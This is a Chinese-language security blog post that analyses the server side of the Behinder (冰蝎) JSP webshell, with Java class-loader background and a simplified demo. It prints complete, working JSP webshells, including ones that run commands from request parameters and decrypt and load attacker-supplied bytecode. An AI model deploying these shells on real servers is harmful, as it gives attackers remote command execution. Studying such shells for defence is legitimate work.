冰蝎 Java服务端解析
前言
看了一段时间的webshell免杀,由于其他语言的webshell没啥基础,只对jsp的webshell和冰蝎简单分析了一下。完成了一个简化版的冰蝎Demo,主要是学习原理,分析的有不对的地方还请师傅们斧正。
冰蝎JSP服务端解析
在看冰蝎的shell.jsp之前先来回顾下Java最基础执行命令的实现。Java最常见的是通过Runtime.getRuntime().exec("cmd")来实现执行系统命令的,如下是一个Demo。 Runtime.getRuntime().exec()实现命令执行及输出:
importjava.io.BufferedReader; importjava.io.IOException; importjava.io.InputStream; importjava.io.InputStreamReader; publicclassCMDExecDemo{ publicstaticvoidmain(String[]args)throwsException{ Processprocess=Runtime.getRuntime().exec("ipconfig"); InputStreamprocessInput=process.getInputStream(); InputStreamReaderinputStreamReader=newInputStreamReader(processInput,"GBK"); BufferedReaderbufferedReader=newBufferedReader(inputStreamReader); StringresLine; while((resLine=bufferedReader.readLine())!=null){ System.out.println(resLine); } inputStreamReader.close(); processInput.close(); } }
JSP实现:
<%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <%@page import="java.io.*" %> <% String os = System.getProperty("os.name").toLowerCase(); out.print(os); String cmd = request.getParameter("cmd"); String line; if (cmd != null){ Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd}); InputStream ins = p.getInputStream(); InputStreamReader insr = new InputStreamReader(ins,"GBK"); BufferedReader br = new BufferedReader(insr); out.print(""); while((line=br.readLine())!=null){ out.print(line+" "); } out.print(""); ins.close(); insr.close(); br.close(); p.getOutputStream().close(); } %>
Behinder JSP Webshell不同于一般的一句话木马,作者通过自定义类加载器调用ClassLoader类defineClass方法让服务端有了动态解析字节码的能力,添加注释后的shell.jsp如下。
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%! //自定义类加载器 class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b) { //调用父类defineClass方法 return super.defineClass(b,0,b.length); } } %> <% if (request.getMethod().equals("POST")){ String k="e45e329feb5d925b"; session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); //获取客户端数据 // String line = request.getReader().readLine(); //base64解码客户端数据 // byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line); //AES解密 // byte[] b1 = c.doFinal(b); //调用父类defineClass方法,将传入数据还原为Class对象 // U u = new U(this.getClass().getClassLoader()); // Class clazz = u.g(b1); //实例化对象将输出写入pageContext //客户端传入的字节码指向的类中重写了equals方法传入pageContext对象,通过pageContext对象 //可以间接操作response,将执行结果写入response返回给客户端 // clazz.newInstance().equals(pageContext); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); } %>
关于自定义类加载器
Java执行代码的过程:程序员编写的Java代码通过编译器编译成字节码文件即.class文件之后交由ClassLoader加载至JVM中被执行。 JVM提供了三种类加载器: **Bootstrap classLoader:**主要负责加载核心的类库(java.lang.*等),构造ExtClassLoader和APPClassLoader。ExtClassLoader:主要负责加载jre/lib/ext目录下的一些扩展的jarAppClassLoader:主要负责加载应用程序的主函数类。 双亲委派机制: 当一个Hello.class这样的文件要被加载时。不考虑自定义类加载器,首先会在AppClassLoader中检查是否加载过,如果有那就无需再加载了。如果没有,那么会拿到父加载器,然后调用父加载器的loadClass方法。父类中同理也会先检查自己是否已经加载过,如果没有再往上。注意这个类似递归的过程,直到到达Bootstrap classLoader之前,都是在检查是否加载过,并不会选择自己去加载。直到BootstrapClassLoader,已经没有父加载器了,这时候开始考虑自己是否能加载了,如果自己无法加载,会下沉到子加载器去加载,一直到最底层,如果没有任何加载器能加载,就会抛出ClassNotFoundException。
ClassLoader中的三个关键方法: ClassLoader.loadClass():双亲委派机制的代码实现。
publicClass>loadClass(Stringname)throwsClassNotFoundException{ returnloadClass(name,false); } protectedClass>loadClass(Stringname,booleanresolve) throwsClassNotFoundException { synchronized(getClassLoadingLock(name)){ //First,checkiftheclasshasalreadybeenloaded Class>c=findLoadedClass(name); if(c==null){ longt0=System.nanoTime(); try{ if(parent!=null){ c=parent.loadClass(name,false); }else{ c=findBootstrapClassOrNull(name); } }catch(ClassNotFoundExceptione){ //ClassNotFoundExceptionthrownifclassnotfound //fromthenon-nullparentclassloader } if(c==null){ //Ifstillnotfound,theninvokefindClassinorder //tofindtheclass. longt1=System.nanoTime(); c=findClass(name); //thisisthedefiningclassloader;recordthestats sun.misc.PerfCounter.getParentDelegationTime().addTime(t1-t0); sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); sun.misc.PerfCounter.getFindClasses().increment(); } } if(resolve){ resolveClass(c); } returnc; } }
ClassLoader.defineClass():将byte[]还原为Class对象。
protectedfinalClass>defineClass(Stringname,byte[]b,intoff,intlen, ProtectionDomainprotectionDomain) throwsClassFormatError { protectionDomain=preDefineClass(name,protectionDomain); Stringsource=defineClassSourceLocation(protectionDomain); Class>c=defineClass1(name,b,off,len,protectionDomain,source); postDefineClass(c,protectionDomain); returnc; }
ClassLoader.findClass():供自定义类加载器重写使用,配合defineClass方法实现自定义加载字节码。
protectedClass>findClass(Stringname)throwsClassNotFoundException{ thrownewClassNotFoundException(name); }
实现自定义类加载器的步骤: 1、继承ClassLoader类 2、重写findClass方法 3、调用defineClass方法 Demo如下: hello.java
publicclasshello{ publicvoidprintHello(){ System.out.println("helloworld!"); } }
customLoader.java
importjava.io.File; importjava.io.FileInputStream; importjava.lang.reflect.Method; publicclasscustomLoaderextendsClassLoader{ privateStringclassPath; publiccustomLoader(StringclassPath){ this.classPath=classPath; } @Override protectedClass>findClass(Stringname)throwsClassNotFoundException{ byte[]bytes=newbyte[0]; try{ bytes=loadBytes(name); }catch(Exceptione){ e.printStackTrace(); } returnsuper.defineClass(bytes,0,bytes.length); } privatebyte[]loadBytes(StringclassName)throwsException{ FileInputStreamfileIns=newFileInputStream(classPath+File.separator+className.replace(".",File.separator).concat(".class")); byte[]b=newbyte[fileIns.available()]; fileIns.read(b); fileIns.close(); returnb; } publicstaticvoidmain(String[]args)throwsException{ customLoadercustomLoader=newcustomLoader("C:\Users\lixq\Desktop\loaderDemo\src\test\java"); ClassaClass=customLoader.loadClass("hello"); Objecto=aClass.newInstance(); Methodm=aClass.getMethod("printHello"); m.invoke(o); } }
有了以上基础,着手将一开始的CMD Webshell改为自定义类加载器方式执行: 相较于传统自定义类加载器的方式,冰蝎更直接地调用defineClass方法将编码后class文件还原为Class对象,参照冰蝎的方式可以依照如下步骤来实现CMD Webshell。 1、首先将CMD JSP Webshell编译为class,然后将class文件base64编码
image.png
2、通过自定义类加载器将base64后class还原为Class对象并加载至jvm执行。
<%@ page import="java.util.Base64" %> <%@ page import="java.lang.reflect.Method" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String cmd = request.getParameter("cmd"); if (cmd != null){ class U extends ClassLoader{ public Class g(){ String clsStr = "yv66vgAAADQAVAoAFgArBwAsCgACACsKAC0ALgcALwgAMAgAMQoALQAyCgAzADQHADUIADYKAAoANwcAOAoADQA5CgANADoKAAIAOwgAPAoAPQA+CgAKAD4KAAIAPwcAQAcAQQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEACkV4Y2VwdGlvbnMHAEIBAAdleGVjQ21kAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBABwAvBwAsBwBDBwBEBwA1BwA4AQAKU291cmNlRmlsZQEAFENNRF9SdW50aW1lRGVtby5qYXZhDAAXABgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARQwARgBHAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwASABJBwBDDABKAEsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAXAEwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAXAE0MAE4ATwwAUABRAQABCgcARAwAUgAYDABTAE8BAA9DTURfUnVudGltZURlbW8BABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFY2xvc2UBAAh0b1N0cmluZwAhABUAFgAAAAAAAwABABcAGAABABkAAAAdAAEAAQAAAAUqtwABsQAAAAEAGgAAAAYAAQAAAAYACQAbABwAAgAZAAAAGQAAAAEAAAABsQAAAAEAGgAAAAYAAQAAABIAHQAAAAQAAQAeAAEAHwAgAAIAGQAAAM4ABQAIAAAAaLsAAlm3AANNuAAEBr0ABVkDEgZTWQQSB1NZBStTtgAITi22AAk6BLsAClkZBBILtwAMOgW7AA1ZGQW3AA46BhkGtgAPWToHxgASLBkHtgAQEhG2ABBXp//pGQS2ABIZBbYAEyy2ABSwAAAAAgAaAAAAKgAKAAAAFAAIABUAIQAWACcAFwA0ABgAPwAaAEoAHABZAB4AXgAfAGMAIAAhAAAAJAAC/wA/AAcHACIHACMHACQHACUHACYHACcHACgAAPwAGQcAIwAdAAAABAABAB4AAQApAAAAAgAq"; byte[] b = Base64.getDecoder().decode(clsStr); return super.defineClass(b,0,b.length); } } U u = new U(); Class clazz = u.g(); Object obj = clazz.newInstance(); Method m = clazz.getMethod("execCmd",String.class); String res = (String) m.invoke(obj,cmd); out.print(res); } %>
总结
简单分析了冰蝎Java服务端的实现,如果我们将固定的CMD_RuntimeDemo.class Base64编码后的字符串改为传递参数传递给服务端,那么服务端就可以解析我们传递的class字节码从而在服务端执行任意java代码,而这正是冰蝎客户端的核心思路。
审核编辑:汤梓红
-
JAVA
+关注
关注
19文章
2966浏览量
104700 -
JSP
+关注
关注
0文章
26浏览量
10382 -
服务端
+关注
关注
0文章
66浏览量
7004
原文标题:参考
文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。
发布评论请先 登录
相关推荐
评论